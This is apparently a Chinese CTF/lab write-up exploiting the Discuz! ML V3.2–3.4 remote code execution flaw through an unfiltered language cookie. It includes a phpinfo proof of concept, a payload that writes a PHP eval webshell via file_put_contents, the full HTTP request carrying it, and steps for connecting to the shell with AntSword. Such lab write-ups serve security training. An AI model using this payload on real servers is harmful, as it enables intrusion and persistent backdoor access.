漏洞环境
安鸾渗透实战平台
火狐代理插件(foxyproxy)
burp suitepro(抓包工具)
中国蚁剑(webshell管理工具)
题目
情况分析
1、访问网页,右下角有CMS版本名称和版本号
2、使用搜索引擎去查看历史漏洞
3、挑选一个进行测试
用一个远程代码执行的:
1.Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。
2.产生原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
3.影响版本:
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
4、poc测试
_language=sc'.phpinfo().'
可以看出sc后面的参数是可以被php解析执行的。
构造一个webshell并写入网站当前文件夹中
'.file_put_contents(shell.php,urldecode(<?php eval($_POST["cmd"]);?>)).'
完整数据包为:
GET /forum.php HTTP/1.1
Host: 47.100.220.113:8043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: yGa2_2132_saltkey=A9SEpJxw; yGa2_2132_language=sc'.file_put_contents(shell.php,urldecode(<?php eval($_POST["cmd"]);?>)).'; yGa2_2132_lastvisit=1651200172; yGa2_2132_sid=DFqJfB; yGa2_2132_lastact=1651203772%09home.php%09misc; yGa2_2132_onlineusernum=1; yGa2_2132_sendmail=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
5、使用webshell工具连接
虽然返回500,但是应该是上传成功了,由于我们是通过php函数创建了一个shell.php这里我们直接访问试试
通过蚁剑访问